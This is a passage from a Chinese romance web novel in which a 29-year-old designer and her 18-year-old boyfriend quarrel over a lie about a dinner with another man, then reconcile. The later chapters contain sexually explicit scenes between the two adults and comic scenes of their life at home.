“娜娜，我要告诉你一个坏消息。”
黎娜叉子一顿：“不会是你那批宝石也出问题了吧，你可千万别吓我……”
秦钰坏笑：“不是。”
然后又说：“靠窗的那一桌，你快去看，有惊喜。”
“惊喜？”
黎娜边说边回头看，结果就看到了沈知逸，手里的叉子“哐当”一声掉到盘子上。
这个餐厅很安静，所有人说话声音都很小，就会显得黎娜这边餐盘碰撞的声音非常刺耳，附近的人都看过来了。
其中也包括Eason和Sofia。
Sofia凝眸看向黎娜，拽了拽Eason的袖子。
“那边的人是娜娜吗，我是不是看错了？”
Eason：“是娜娜。”
事已至此，怎么也没想到竟然和沈知逸他们在同一个餐厅吃饭，黎娜在心里咆哮，表面上朝他们微笑示意。
怪不得刚才沈知逸问她在哪，原来是早就看到她了。
不过她也没什么好心虚的，公司确实出事情了，秦钰也确实帮她忙了，她请秦钰吃饭，于情于理都是
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应该的。
她唯一做错的事情，就是骗沈知逸，说秦钰是同事。
Sofia也回以微笑，只是多少有些牵强了，看向从始至终都保持沉默的沈知逸。
“娜娜不是去公司了吗，她怎么也在这个餐厅吃饭？”
沈知逸眉目低垂：“公司里的问题解决了，她和同事都没吃饭，就一起出来吃了。”
Sofia松了口气：“原来是这样啊。”
沈知逸：“嗯。”
Eason说：“娜娜过来了。”
Sofia抬眸看过去。
沈知逸低头吃饭。
黎娜走到他们这一桌。
“叔叔，阿姨，真巧啊，早知道你们也在这个餐厅，就一起吃了，晚上公司突然有事，我还跟沈知逸说下次请你们呢。”
Sofia也笑：“没事，就是一顿饭，什么时候吃都行，工作最重要，你身后这位男士是——”
不知道秦钰什么时候来到了她身后，还用肩膀撞了她几下。
她险些站不稳，用眼睛瞪他。
他一副看好戏的样子。
“跟他们说啊，我是谁。”
这句话可太暧昧了，秦钰绝对是故意的，黎娜在心里把他臭骂一顿，笑着解释。
“这是宝石供应商，跟我们一直有合作，这次问题就是多亏了他才能解决。”
Sofia皱眉：“宝石供应商？”
Eason看向沈知逸：“刚才知逸说，你们是同事，怎么又变成宝石供应商了？”
沈知逸放下叉子，喝了点果汁，用餐巾擦干净嘴巴。
“我先回家了。”
他扭头就走。
Sofia轻喊：“你要回哪个家？”
沈知逸已经出去了，很快就见不着人影了，Sofia着急了，有些语无伦次。
“知逸走了，现在好晚了，万一又丢了怎么办……”
Sofia眼眶红了。
Eason安慰她几句，就要出去找人。
黎娜拉住他：“我去吧。”
Eason看Sofia状态不太好，也不放心离开。
“好，那你去看看他吧。”
黎娜回座位拿上包，出去了。
这边就剩下秦钰，Eason和Sofia。
秦钰礼貌询问：“叔叔，阿姨，我想问一下，他们两个现在是什么关系？”
Sofia看向他，语气淡淡的：“他们在谈恋爱。”
秦钰笑容不变：“哦，是这样啊。”
真让人意想不到。
黎娜出餐厅的时候，就看到沈知逸在路边上拦了一辆出租车，上车走了。
她开车紧跟其后。
按照路线推测，沈知逸是回他们现在住的地方。
黎娜松了口气。
到家后，她停好车，向楼上望去，沈知逸住的房间里没有开灯。
她拿出手机给Sofia发消息。
黎娜：【沈知逸回我这边了。】
Sofia：【好。】
就没有再多说什么。
黎娜深吸口气，在门上输入密码，推开门进去。
家里没有开灯，一片漆黑。
沈知逸脱下来的运动鞋，规整地放在那里。
黎娜也把高跟鞋脱下来，放到他运动鞋的旁边，光着脚，几乎没发出一丝声音，慢慢走进去。
月光透过白纱窗帘照进来。
黎娜看到沙发上坐着一道黑影，低着脑袋，小卷毛在月光下泛着白光，遮住半张脸，双手放在腿上，时不时颤动一下，似乎在用力抠着什么东西。
很安静，只有他们的呼吸声。
76. 神明陷落
黎娜打开客厅里的灯，慢慢走过去，坐到沈知逸旁边。
沈知逸低着头，眼睛被小卷毛遮住，看不出情绪，嘴唇紧抿着，在黎娜靠过来的时候，就迅速往旁边挪，跟她保持着一段距离，也不说话。
黎娜去摸他的手。
“你怎么总抠手，都要抠流血了。”
沈知逸就不动了，任由她怎么用手指挠他手心，想把手指从他指缝中穿过来，他都不动。
黎娜说：“我那个电话你听到了，公司有事，我必须要过去，等我赶到的时候，秦钰也在那里，他把所有问题都解决了，我就请他吃了顿饭。”
沈知逸点头：“他很厉害，能帮你解决很多问题，我都帮不上你，还要你一直陪着我，耽误你的时间。”
他语气极其平缓，冷静地陈述事实。
黎娜闻到一股醋酸味，哑然失笑，抚摸着他的手指。
“你才十八岁，想帮我什么忙？你现在好好上学就行了。”
沈知逸收回手，放到背后。
黎娜笑容一僵。
沈知逸垂着眸子：“你骗我，那时候我问你在跟谁吃饭，你说是同事，我还问了你两遍，你都骗我。”
黎娜叹气：“因为我怕你不高兴啊，如果我说是秦钰，你肯定会胡思乱想的，没有那个必要，我就说是同事了。”
沈知逸抬眸看向她。
从回来之后的第一次视线接触。
黎娜眨了眨眼睛。
沈知逸不吃她这套，移开了视线。
“是这样吗？他喜欢你，你肯定知道的，不然他为什么一直找你？”
黎娜：“……”
“因为你从来不跟他说，我们是男女朋友关系，你故意不告诉他。跟我谈恋爱的同时，也吊着他不放，你想脚踏两条船。”
听到“脚踏两条船”，黎娜眉心瞬间皱紧了，仅有的耐心也开始消退。
“他之前说过喜欢我，我明确拒绝了，这样也算脚踏两条船？”
沈知逸深吸口气：“那你以后不要再跟他见面了，如果他再约你，你就不要搭理他，当做没有看到。”
姐姐，你已经有我了啊……
黎娜站起身，有些无语。
“拜托，我家都跟他们合作十几年了，现在就因为你，我不能搭理他，不能跟他见面，那我工作要怎么进行下去，那我不干了，让这个部门解散掉好了，我就天天跟你谈恋爱，别人的死活我都不管，以后我就围着你一个人转！”
说到后面，她几乎怒吼出声。
沈知逸眼眶泛红，咬紧嘴唇，放在腿上的手指都在发抖，就连说话的声音也在抖。
“可是，别人都不是像我们这样谈恋爱的啊，我们学校里的情侣，都会在别的同学面前承认他们的关系，还有之前送我的司机，他女朋友也会跟同事承认，但你从来没有……”
“而且，别的女生有了男朋友，都会自觉跟异性保持距离，你就总跟秦钰出去，我小时候就是，现在也是，还是你们单独两个人，你还骗我说同事，谁知道你说的是真的还是假的……”
黎娜认真听他说完，脸上没有表情，像是在听下属汇报工作。
“那我就没什么好说的了，你都不相信我，我还能说什么。”
她摘掉脖子上的项链，还有手上的手链和戒指，全是国际奢侈品牌的当季最新款，随便一件要十几万，现在被她狠狠地砸到地上。
项链手链断裂。
戒指砸碎花瓶，碎片散落一地。
沈知逸浑身发抖，从沙发上起来，看到黎娜这样，心里有些不安，从身后抱住黎娜。
“姐姐，你别这样。”
黎娜挣扎了几下，没挣开，握着他一排手指用力往后折。
他好痛，却抱得很紧。
之前他手臂受伤，姐姐都会很难过，还会哭，完全不像现在这样，根本都不担心他，还让他好痛。
沈知逸眼泪往下掉。
“姐姐，你到底喜不喜欢我啊……”
黎娜喘着粗气，折腾累了，就停下来，忽然有些疲惫。
“不喜欢你，行了吗？”
“我以前觉得年龄不是问题，所以想跟你试试，但是今天，我突然发现，年龄是非常严重的问题我们根本就不合适。”
“试到现在，我认为够了，没必要再浪费时间试下去了。”
她语气很冷静，不像是在开玩笑。
沈知逸浑身如失血般冰冷。
什么意思？
他怎么听不明白。
还是他根本就不想明白。
沈知逸抱住她不松手。
“你在说气话。”
黎娜从包里拿出手机：“不是气话，今天晚上你就回家吧，我叫司机送你回去，以后你就跟你爸爸妈妈在一起，我们不要再见面了。”
她想了一会：“我会跟家里的人，还有你爸妈说清楚，我们年龄不合适。”
看她已经打开通讯录了，沈知逸立刻握住她的手腕。
黎娜手一抖，手机掉下去了。
沈知逸把脸埋到她肩膀上，边哭边求她。
“姐姐，对不起，今天晚上是我错了，全部都是我的错，你不要赶我走好不好，也不要跟爸爸妈妈他们说，我们年龄不合适，好不好？”
“你可以和秦钰见面，我不会再管你了，你想几点回家就几点回家，你想干什么都行，以后我什么都听你的，不要结束好不好？”
黎娜肩膀上只有一根细带子，沈知逸的眼泪流淌下来，顺着她的皮肤滑到胸口，从温热到冰冷，反反复复。
她的心似乎变软了。
是因为年纪上来了吧。
怎么会觉得沈知逸这么可怜。
都有点心疼了。
她手伸到后面，从她肩骨的缝隙中钻进去，擦沈知逸的眼泪。
沈知逸立刻握住她的手，放到脸上贴了一会，又用嘴去亲，像犯错的小狗在舔手讨好主人。
黎娜用指腹蹭了蹭他的嘴唇。
他愣了一下，用手擦干净脸，把怀里的黎娜转过来。
黎娜看到他的脸，都怔住了。
只见他眼睛里一片血红，像得了红眼病，哭到毛细血管破裂，眼睛周围都是红斑，肩膀时不时颤抖一下。
黎娜捧着他的脸，用拇指擦了擦他的眼睛。
他垂眸看着她，吸了吸鼻子，把她的手拿下来，低头吻住她的嘴唇，一开始就来势汹汹。
黎娜想分开一点。
沈知逸就搂紧她的腰，几乎要把她从地上提起来，紧贴着她。
黎娜退到沙发上，慢慢坐下，沈知逸单膝跪下来，捧着她的脸。
她从沈知逸的唇齿中尝到了咸涩的泪水，睁开眼睛，果然看到他脸上有了新的泪痕。
嘴上说着再也不会干涉她了，但心里还是觉得委屈吧。
没想到她随口几句话，就能把他吓成这样。
黎娜抱住他的腰身，闭上双眼，热情地回应。
谁都没
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有先离开，这一吻格外绵长，沈知逸在寻求安慰和安全感，黎娜在表达愧疚与心疼。
亲到最后，黎娜别开脸。
沈知逸顺势在她脸颊上亲了一口，还抱着她，保持着半跪在沙发上的姿势。
黎娜胸口上有东西顶着，垂眸看了一眼。
沈知逸脸瞬间红了，但又不想松开黎娜，就破罐子破摔了，更加用力抱紧她。
黎娜手指拨弄一下。
沈知逸“嘶”了一声，往后退。
“姐姐……”
黎娜笑了，脸贴着他的腹部，他身体温度很高，像暖炉。
“怎么不继续下去了，不难受吗？”
听到她这句话，沈知逸脑袋里一片空白，不确定地求证。
“什么？”
黎娜抬头仰视他，握住他。
“想不想用这里？”
沈知逸瞪大双眼，不敢相信自己的耳朵：“可、可以吗？”
黎娜站起来吻住他的嘴唇。
再次纠缠在一起。
到房间，到床上，到衣服散落一地……
沈知逸全身上下就剩下一条黑色内裤，他脸红红的，伸手去关灯。
黎娜拦住他。
“关了灯怎么看？”
沈知逸眼睛红，脸也红，声音小小的。
“那就不关了……”
他脱下最后一件衣物，双手交叉挡在前面，低着脑袋。
黎娜：“把手拿开。”
沈知逸：“……哦。”
他慢慢把手拿开了。
黎娜盯住他。
他小心翼翼地看着她，对自己没有信心。
“是不是长得不太好看，我自己都觉得这个地方很丑……”
黎娜笑容温柔：“还行，颜色还不错，我喜欢。”
沈知逸眼睛一亮：“真的吗？”
黎娜：“嗯。”
以为沈知逸都这么大了，多少也能懂点东西了，没想到……
沈知逸：“是这里？”
沈知逸：“还是这里？”
沈知逸：“到底在哪里？”
他挫败极了，脸埋进枕头里，闷闷地说：“姐姐，我找不到……”
最后，还是黎娜给扶进去的。
第一次结束非常快。
沈知逸都没有反应过来。
黎娜更没有反应过来，看沈知逸连动都没动，还用手指戳了戳他的肩膀。
“你在干什么，动啊。”
沈知逸看着她，欲哭无泪。
“姐姐，我好像好了。”
黎娜：“……”
黎娜：“三秒都不到？”
沈知逸就有点着急了，不知道为什么一进去就忍不住了，看姐姐这样，他肯定被嫌弃了吧。
“刚才那次不算，再来一次。”
这次绝对可以忍住！
黎娜笑得不行。
“那你再试试，不行也没关系，买点药吃吃就好了。”
沈知逸：“……”
他握住黎娜的脚踝，放到肩膀上，在她脚心上吻了一下。
她脚趾瞬间蜷紧了。
他保证：“这次肯定可以的。”
第二次确实好一点，到第三次，第四次……
沈知逸阈值越来越高，变得不容易满足，快到临界点时，就会控制不住加速用力。
黎娜张着嘴巴，却发不出一丝声音，小腹一阵规律抽搐，身体蜷缩起来，夹紧双腿。
77. 神明陷落
做完之后，沈知逸抱紧黎娜。
黎娜喉咙发干，声音很沙哑：“我要去洗澡。”
沈知逸说：“我抱你去。”
黎娜：“不用。”
她推开沈知逸，爬到床边，慢慢伸出一条腿立在地上，另一条腿跟上去，还没等站直，腿软得就踉跄了一下，差点跪到地上。
沈知逸赶紧下床，扶住她，特别想笑，又怕她生气，只能憋着。
“姐姐，不要逞强，我帮你洗澡吧。”
黎娜：“我可以。”
沈知逸快忍不住了，嘴角已经在上扬了。
“我会帮你洗得很干净的，就让我帮你洗吧，好不好，姐姐？”
黎娜不怎么情愿的样子。
“那行吧，既然你这么想帮我洗，那你就洗吧。”
“好！谢谢姐姐！”
沈知逸把她抱回床上，垂眸看了她一会，然后低头在她嘴唇上重重地亲了一口，就去浴室放水了。
给黎娜洗澡的时候，沈知逸还挺规矩的，没有乱摸。
黎娜本以为会在浴室来一次，事实证明她多想了，心里还有点遗憾。
给黎娜洗完，沈知逸进去冲了一会就出来了，躺到床上，又抱住黎娜，跟长在她身上了一样，一刻都不分开，抱着她亲亲摸摸。
黎娜推开他的脸，眉心紧皱。
“你有完没完，再碰我一下，你就给我滚出去。”
沈知逸就不敢动了：“那我就抱着你行吗，我不乱动了……”
黎娜：“……嗯。”
床头柜上的手机传来一阵视频通话的声音。
沈知逸拿起来看了一眼，吓得不轻。
“我妈妈打电话来了！”
黎娜闭上眼睛睡觉。
沈知逸看向自己光溜溜的身体，迅速跳下床，从衣帽间里拿了一件短袖套上，下半身只有一条灰色短裤，他用被子盖住，靠到床头，这才接通了Sofia的视频通话。
Sofia出现在手机屏幕里。
沈知逸把摄像头对准自己，不敢露出黎娜，有些心虚。
“妈妈，你怎么打电话来了……”
Sofia说：“我担心你啊，你跟娜娜怎么样？”
沈知逸说：“挺好的。”
Sofia凑近屏幕：“你是不是哭了，眼睛好红，你和娜娜吵架了吗？”
沈知逸下意识摸了摸眼睛，可能之前哭得太厉害了，血丝还没有消下去。
他说：“没有吵架，我可能有点困了，眼睛就会变红。”
Sofia：“没有吵架就好，那你早点睡觉吧。”
“嗯。”
沈知逸装模作样地打哈欠。
Sofia：“那个礼物你没有带走，改天我给你带过去吧。”
沈知逸：“好。”
Sofia：“挂掉吧。”
沈知逸就把通话挂掉了，松了口气，把手机放回床头柜，钻进被窝里抱住黎娜。
“吓死我了，姐姐。”
黎娜皱眉：“有什么好怕的？”
沈知逸小声说：“怕被妈妈发现我们那个了啊，总觉得好难为情。”
黎娜捂住肚子，眉心越皱越紧。
沈知逸问：“你怎么了？”
黎娜脸色发白：“我小腹有点痛。”
沈知逸被吓到，坐起身来。
“是因为我刚才太用力了吗，姐姐，对不起……”
他去揉黎娜的肚子。
黎娜拍开他的手：“不是，我生理期好像快到了，最近总是疼。”
沈知逸：“……哦，那你需要我做点什么吗？”
黎娜想了一会：“帮我把手机拿过来，应该在客厅的地上。”
“好。”
沈知逸去客厅把她手机拿过来。
黎娜手指在屏幕上滑动几下，就把手机放到一边了。
“等会有人送外卖过来，你先别睡觉。”
沈知逸乖巧点头：“嗯。”
他也拿起手机，买了点东西。
等了半个小时，外面有人敲门，沈知逸去开。
他和黎娜的外卖是一个骑手送过来的。
偷瞄了一眼黎娜的外卖，是一盒药，看名字看不出是什么药，沈知逸拿出手机去查，才知道是避孕药。
他把袋子里东西取出来，放到床头柜里。
黎娜睁开眼睛：“送到了？”
沈知逸“嗯”了一声。
黎娜掀开被子下床，看到床头柜上有一个黄色纸袋，就拿起来去客厅了。
倒了一杯温水，黎娜认真看完说明书，抠出一粒药放进嘴里，喝水咽下去。
沈知逸不知道什么时候过来了，从身后抱住她，脑袋埋在她肩窝里。
“对不起，我下次会提前戴好的。”
黎娜握住他的手：“没必要道歉，我没有提前跟你说，都有一半的责任。”
沈知逸问：“这个药对身体是不是很不好？”
黎娜：“我选的副作用小的。”
沈知逸松了口气，又紧张起来了。
“你怎么知道哪个药副作用小，你之前……吃过吗？”
黎娜翻白眼：“我都快三十岁了，最基础的生理知识我还是知道的。”
沈知逸又问：“那你之前有没有跟别人做过这种事情，跟我说实话吧，我不会生气的，你不要骗我。”
黎娜说：“没有。”
沈知逸不信：“真的吗，你都二十九岁了，真的一次都没有吗，这怎么可能……”
而且姐姐长得这么漂亮，身材这么好，怎么可能没有跟别的男人在一起过，简直难以置信。
黎娜有点不耐烦了：“对啊，我都二十九岁了，今天才尝到男人的滋味，我真的很抱歉啊！”
看她这样，沈知逸就笑得不行，嘴唇贴着她的脖子。
“我现在真的好开心啊，特别特别地开心，好幸福，好喜欢姐姐。”
他亲吻黎娜的耳朵。
黎娜缩了下肩膀，任由他亲，痒痒的，还挺舒服的。
沈知逸手伸到前面来摸她。
她难得脸红：“有什么好摸的，我又没胸。”
沈知逸摸得津津有味。
“还是有一点的。”
黎娜：“……”
还不如不说。
怕她介意胸的事情，沈知逸又补充。
“就算没有，我也喜欢。”
“只要是你，我就喜欢。”
黎娜放下水杯，在沈知逸怀里转了个身，搂住他的脖子，踮起脚尖吻了上去。
沈知逸愣了一下，就搂紧她的腰，从间隙中发出极轻的气音。
“姐姐，这次我准备好了，不用再吃药了。”
黎娜笑了。
“那再来几次，我马上到生理期了，就不能做了。”
沈知逸眼睛亮晶晶的：“好。”
他抱起黎娜往浴室走。
黎娜哑然失笑，原来他也想过在浴室里做啊。
经过这一晚，黎娜才知道，十八岁男生的精力真的用不完。
如果她不喊停，估计沈知逸能一直折腾到天亮。
最后到凌晨两点钟，她受得刺
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激太多，小腹痛得有点受不了，才推开沈知逸，昏昏沉沉地睡了过去。
这一觉就睡到了中午。
黎娜下面涌出一股粘稠的热流，瞬间睁开眼睛，想去卫生间。
可她稍微一动，就酸软地又倒回了床上，最后不得不硬拖着这两条使不上力气的腿，扶着墙壁，慢慢走进了卫生间。
内裤上有一滩血迹。
她下面还在往外流血，昨天晚上没有节制，现在就特别痛。
她趴在腿上缓了一会，感觉积压在腹部里的血差不多流出去了，就用喷头冲洗干净，塞进去一根卫生棉条，把脏内裤扔进垃圾桶，披上浴袍出去了。
沈知逸还在睡，半张脸埋进被子里，只露出一头小卷毛，手在黎娜睡过的位置摸来摸去，没摸到，他睁开眼睛，看到黎娜站在床边。
“姐姐，你醒得好早。”
他揉了揉眼睛，裹着被子坐起来，被子从肩膀上滑下去一点，露出单薄的肩膀和锁骨。
黎娜拿起手机，身上没力气，打字的时候，手指都在发抖。
沈知逸想问她在给发消息，但想了想，觉得最好还是不要问。
黎娜放下手机。
“我请假了，明天不去公司了，我要在家里休息一个星期。”
不然她真的会死掉。
沈知逸眼睛一亮：“好啊。”
姐姐终于可以陪他了。
到时间，阿姨过来打扫房间。
黎娜边吃午饭边看电脑。
看快要打扫到他住的房间了，沈知逸迅速起身，大步走进去，关上门，把散落在地上的内衣抓起来抱在怀里，用湿巾去擦地板上的污渍……
“咚咚咚。”
“知逸，你在里面干什么呢，我要打扫屋子了。”
沈知逸心脏骤停：“哦，好！”
他胡乱擦了几下，抱着衣服打开门，低着头出去了。
黎娜抬眸看他一眼。
他脸和耳朵都是红的，特别懊恼的样子，把脏衣服都放到衣篓里。
黎娜不由得笑了一声。
想起被子上好像也有东西，沈知逸刚松懈下来的神经又紧绷起来了，又想要回房间。
于是，他就看到阿姨已经把被罩拆下来了，还有床单，枕头罩……
沈知逸：“……”
阿姨看到他站在门外，什么都没说，朝他温柔地笑了一下，跟平时没什么两样。
沈知逸低下头，挠了挠脖子。
“辛苦你了，阿姨……”
阿姨说：“这有什么辛苦的，你姐姐给我的钱可多了，我干起活来都特别有劲。”
沈知逸：“……好。”
他回到客厅，坐到黎娜旁边，戴上耳机看平板，紧挨着黎娜的肩膀。
偶尔碰到缓冲的时候，他就蹭她几下，扭过头去，在她脸上偷亲一口。
黎娜怒目瞪向他。
他就一脸无辜，眨巴着眼睛望着她，可怜巴巴的样子，都让人不忍心说他了。
黎娜叹了口气，继续绘制。
微信有新消息跳进来。
沈知逸听见了，先静止不动，眼珠子转过来，看向她电脑屏幕。
秦钰：【只有跟你一起吃饭的时候，才会觉得饭好吃。】
还发来一张午饭照片。
黎娜愣住，看向身旁的沈知逸。
沈知逸也看着她。
“姐姐，如果有一天我和秦钰同时掉河里了，你救谁？”
黎娜：“……”
啊，不是。
为什么要让她一个弱女子救两个大男人啊！
78. 神明陷落
在家里待了几天，温琳发信息给她。
温琳：【好想出去玩。】
温琳：【我们出去玩吧，娜娜宝贝。】
黎娜两条腿到现在都没有力气，腿根那里是红的。
黎娜：【好累，不去。】
温琳：【娜娜宝贝，你怎么就累了呢，太虚了吗？】
黎娜：【太虚了……】
温琳：【？？？】
黎娜：【我把沈知逸睡了。】
温琳：【卧槽卧槽卧槽！】
温琳：【什么感觉？】
黎娜：【像被电钻钻了。】
温琳：【卧！槽！】
温琳：【真看不出来啊，平时的小知逸那么可爱，怎么到床上就那么狂野，这反差……爽死了！】
黎娜放下手机。
手机还在响个不停。
她无奈拿起来看。
温琳：【怎么不回我消息？】
温琳：【我靠，不是吧，难道刚才那些信息，是你们插着发的吗？】
温琳：【……奴才告退了。】
黎娜都无语了。
沈知逸坐在沙发角落里，陈研已经到国外了，给他发来一张和新朋友们的合照。
陈研：【这边的女生都好漂亮，嘿嘿，那腿又长又白。】
又发来几张金发女生打排球的照片，腿确实又长又白。
沈知逸看了一眼，就迅速收回目光。
沈知逸：【你把这些照片都撤回去，我手机里不能有这些东西。】
陈研：【哈？这可是腿啊，是腿啊！你怎么能不看！怎么能错过这个世界上任何一条美腿！】
沈知逸：【都没我姐姐的好看，我姐姐的腿是这个世界上最好看的。】
陈研：【再好看，你又摸不到，有个屁用……】
沈知逸：【我摸过了。】
陈研：【？？？】
沈知逸：【忘了告诉你，我已经不是处/男了。】
陈研：【！！！】
沈知逸：【你不会还是处/男吧，不会吧不会吧？】
还是处/男的陈研：【……】
沈知逸：【你好可怜。】
他这条信息发送出去，旁边有一个感叹号。
陈研竟然把他拉黑了，还换全黑头像，把昵称给改掉了。
现在陈研的昵称：已黑化。
沈知逸嘴角上翘。
他打开购物软件，挑选内裤，看到有情侣款的，粉色的特别可爱，就悄悄抬眸看向身旁的黎娜。
黎娜在看电脑，察觉到他的视线。
“怎么了？”
沈知逸把手机递给她，脸红红的，垂下眸子，不好意思看她。
“姐姐，你帮我选内裤吧。”
黎娜接过手机：“为什么让我选？”
沈知逸结结巴巴的：“因，因为只有你能看到我的内裤啊……”
就想让姐姐选一条她喜欢的，这样看到他，也会多喜欢他一点吧。
黎娜哑然失笑，手指在屏幕上滑动几下，发现一条透明的，故意把手机拿到沈知逸面前。
“那买这条吧？”
沈知逸一看，惊讶得张大了嘴巴，不可置信地看向黎娜，脸和脖子瞬间涨红了，几乎要冒烟。
“不要这条……”
他抱住黎娜的胳膊，语气中带着乞求。
黎娜笑得停不下来：“行。”
再往下刷，有一条搞怪内裤，正面是柴犬图案，封面图那个男模尺寸非常突出，正好把柴犬鼻子顶出来了，看起来特别有立体感，跟现实中的柴犬看起来差不多。
黎娜再次把手机递过去。
“那就买这条吧，看看你的尺寸能穿出什么效果。”
沈知逸无奈：“姐姐……”
黎娜皱眉，故作生气道：“你事怎么那么多，给你选了，你又不要，那你让我选什么，你自己选去！”
说完，就把手机按在了沈知逸身上。
沈知逸赶紧接住，有点委屈：“那就买你选的吧。”
黎娜差点没憋住笑，轻哼一声。
沈知逸买了那条柴犬内裤，从浏览历史里找到那条透明的，犹豫了一会儿，也买了，然后又买了一些情侣款内裤。
到了晚上，沈知逸特别粘人。
黎娜处于生理期，身体温度特别高，甚至都有点烫手，再加上现在夏天，她就会特别燥热，喜欢凉快一点。
但沈知逸非要搂着她，还在她身上蹭来蹭去，时不时闻闻她身上的味道。
“姐姐，你身上有点血味。”
黎娜：“……”
“还有一点点卫生巾香香的味道，这个味道好特别，好好闻。”
黎娜推开他：“你变/态啊。”
沈知逸抱住她不松手，用腿把她夹住，再次搂进怀里。
她表情就不对劲了：“你别动我，好像溢出来了。”
沈知逸埋在她脖颈间蹭了蹭，轻声问：“什么溢出来了？”
黎娜用力推开他，从他怀里钻出来，下了床，大步走进卫生间。
沈知逸坐起身，看向她刚才躺过的地方，有一块鲜红色的圆形血痕，他用手指蹭了几下，没蹭掉，用湿巾也弄不掉，最后就放弃了。
黎娜处理干净，出去换了身干净的衣服回来，还抱着被子。
看到沈知逸和她那块血渍，她当做没看到，在床边躺下，开始甩锅。
“都怪你刚才动我，我经期有特定的睡觉姿势，千万不能动我，听见没有？”
沈知逸乖巧点头：“听见了。”
然后就把自己的被子丢到一边，去钻黎娜的被窝。
黎娜都要气疯了：“你别碰我！你想热死我是不是！离我远一点！”
沈知逸再次夹住她的腿，搂住她的腰，亲亲她的耳朵。
“我不动你了，我们睡觉吧。”
黎娜有气无力：“这样好热……”
沈知逸：“热一点好的，不然你会肚子痛的。”
黎娜深吸口气。
行吧。
她随手扔在马桶上的带血内裤，早上过去一看，突然不见了，也懒得去找了。
直到路过沈知逸用的卫生间，她看到沈知逸拿着一小块白色面料，用香皂在上面滑了几下，然后就一通狂搓。
黎娜目瞪口呆。
她的真丝内裤……
而且！他刚才用的那块香皂，不是他平时用来洗脸的吗！怎么在搓她的内裤！他不嫌脏吗！
黎娜大步走进去，夺走他手里的内裤，丢进垃圾桶。
沈知逸抬眸看向她，有些无辜。
“姐姐，我还没洗干净。”
黎娜扭头就走：“不用洗，太麻烦了，脏了直接扔掉。”
沈知逸：“……哦。”
他洗掉手上的泡沫，过来牵住黎娜的手。
黎娜闻到他身上的香皂味。
“别用洗脸的香皂去洗内裤。”
沈知逸一愣：“啊？”
黎娜目露嫌弃：“你脏不脏啊，我从来没见过你这样的，拿自己洗脸的香皂，去洗别人的内裤，你平时洗内裤也是用那个香皂吗？”
被说
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脏，沈知逸有点难过。
“没有，我都是用洗衣液的，刚才你的，我也是用的洗衣液，但是洗不掉，我就想用香皂试试……”
黎娜深吸口气：“下次别用了。”
沈知逸点头：“好。”
过了一会，他又说：“姐姐，你以后可不可以不要对我那么凶？”
黎娜挑眉：“我对你凶吗？”
“嗯，特别凶。”
黎娜：“……”
沈知逸说：“每次你对我凶，我就觉得你不喜欢我了，很害怕……”
黎娜：“你太敏/感了，习惯我的脾气就好了。”
沈知逸：“……嗯。”
黎娜提前回公司了，每天跟沈知逸黏在一起太烦了，总是被分散注意力。
每次到下午六点钟，沈知逸就发消息过来。
沈知逸：【马上就能看到你了，好开心，我要坐在家门口等你回来。】
他发来一个小狗害羞低头的表情包。
黎娜笑出了声。
黎娜：【还坐在家门口等我回来，你是狗吗？】
沈知逸：【汪汪汪！我是姐姐的小狗。】
黎娜：【我现在回家。】
她收拾好东西，去卫生间撕掉护垫，上面已经没有血了。
总觉得今天晚上……
她不敢再想下去了。
开车到家，黎娜果然看到沈知逸坐在家门口。
他穿着白上衣灰短裤，单手托着下巴，眼睫低垂下来，小卷毛随风晃动，手里拿着一根细树枝，在地上乱写乱画，腿上有一些红色抓痕，可能被蚊子咬了。
听到动静，他立刻抬头，看到黎娜的那一刻，笑容从他脸上绽放开来，阳光又灿烂。
“姐姐，你终于回来了！”
他丢掉树枝，跑过来抱住黎娜。
黎娜也抱着他。
晚上她洗澡的时候，沈知逸偷偷溜进来了，身上什么衣服都没穿，吓了她一跳。
“你什么！出去！”
沈知逸害羞地背过身去，耳朵泛着粉色，声音里都是笑意。
“姐姐，你生理期结束了。”
黎娜拿浴巾抽他。
“我再说最后一遍，出——”
嘴唇被沈知逸堵住了。
她怎么打他，推他都没有用。
到床上，她整个人都不太对劲，靠在枕头上，两条腿被按住。
床板发出有规律的“吱呀”声。
她双颊绯红。
“沈知逸，我想去卫生间……”
沈知逸：“嗯？”
黎娜别开脸：“我想尿尿……”
似乎被她这句话刺激到了，沈知逸低头吻住她的嘴唇，动作幅度突然加大。
黎娜有些受不了，手指都在发抖，在他肩膀上挠出几条血痕，却不能缓解，又控制不住去挠自己的大腿。
沈知逸看到了，与她十指紧扣。
眼前晃过一道细碎的水光，黎娜脑袋里一片空白，目光失去了焦距。
沈知逸脸上被溅到了水，愣了几秒，忽然笑了，低头吻她。
“现在的姐姐，跟平时看起来很不一样。”
黎娜眼睛发红，推开他，用被子裹住自己，低低地喘气。
沈知逸亲她的肩膀。
“姐姐，床单都湿掉了。”
黎娜不搭理他。
他就不停地蹭她，求她。
“再来一次吧。”
黎娜闭上眼睛睡觉。
“你明明也很舒服的……”
黎娜吼他：“闭嘴！”
79. 神明陷落
好在沈知逸还算听她的话，没有她的命令，他也不敢轻举妄动。
黎娜度过了一个安静的夜晚。
本以为能一直安静下去，结果到了早上，她被沈知逸强行开机了。
黎娜睁开眼睛，向下望去，见被子鼓起来一块，立刻夹紧了腿。
“沈知逸！你有完没完！”
小卷毛蹭着她的腿根，她推开沈知逸的脑袋，坐起来往后面挪，手伸进被子里摸索内裤。
沈知逸从被子里爬出来，笑嘻嘻地看着她，露出洁白的牙齿，下巴上有些亮晶晶的水渍。
“姐姐，早上好。”
黎娜又羞耻又愤怒，恶狠狠地瞪着他：“快去漱口吧，脏死了！”
沈知逸从口袋里拿出一条内裤，用细长的手指勾住，再捏紧，柔软的布料上出现了褶皱。
“姐姐，我帮你穿。”
黎娜：“……”
终于知道内裤为什么不见了。
原来被狗叼走了。
黎娜抢过来，在被子里穿好，捡了一件浴袍穿到身上，气呼呼地去卫生间了。
沈知逸抹掉下巴上的水渍，把手指放进嘴里含住，嘴角上扬。
有沈知逸在家，黎娜突然变得特别上进了，天黑了都不下班。
沈知逸：【姐姐，你快到家了吗？我好想你。】
黎娜看了眼时间，快八点了。
她叹了口气。
黎娜：【现在回去。】
沈知逸：【好，我等你。】
黎娜手指一颤。
等她干什么？
硬着头皮回到家，黎娜吃完晚饭，就在沙发上看电脑，一副我很忙的样子。
沈知逸穿着白色紧身背心，黑色运动短裤，一直在她面前晃悠。
少年高大挺拔，四肢修长，身上只有薄薄的一层肌肉，皮肤偏白，手臂内侧缠绕着青筋，有些青涩稚嫩，隐约透出成年男性气息，路过时飘来一阵沐浴露的香味。
黎娜盯着电脑，不为所动。
沈知逸就有点忍不住了，坐到黎娜旁边，身体紧贴着她。
